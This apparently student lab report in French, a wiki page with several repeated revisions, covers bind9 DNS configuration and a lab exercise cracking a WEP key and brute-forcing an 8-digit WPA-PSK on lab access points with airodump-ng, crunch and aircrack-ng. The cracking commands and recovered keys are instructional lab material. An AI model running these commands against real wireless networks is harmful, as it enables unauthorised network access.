44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T22:51:45Z

Tmerien : /* Serveur Apache */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

==== Prérequis ====
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

==== Configuration du paquetage bind9 ====
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

==== Déployer le DNS ====
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

ns.tompere2.xyz

IPv4 : <code>193.48.57.168</code>

IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T22:21:01Z

Tmerien : /* Configuration du paquetage bind9 */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

==== Prérequis ====
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

==== Configuration du paquetage bind9 ====
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T22:20:05Z

Tmerien :

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

==== Prérequis ====
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

==== Configuration du paquetage bind9 ====
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T22:19:40Z

Tmerien : /* Configuration de bind9 */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

==== Prérequis ====
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

==== Configuration du paquetage bind9 ====
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.Pour avoir accès au serveur DNS il faut mettre a jour le fichier '''/etc/resolv.conf''' en ajoutant les lignes comme suit :

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

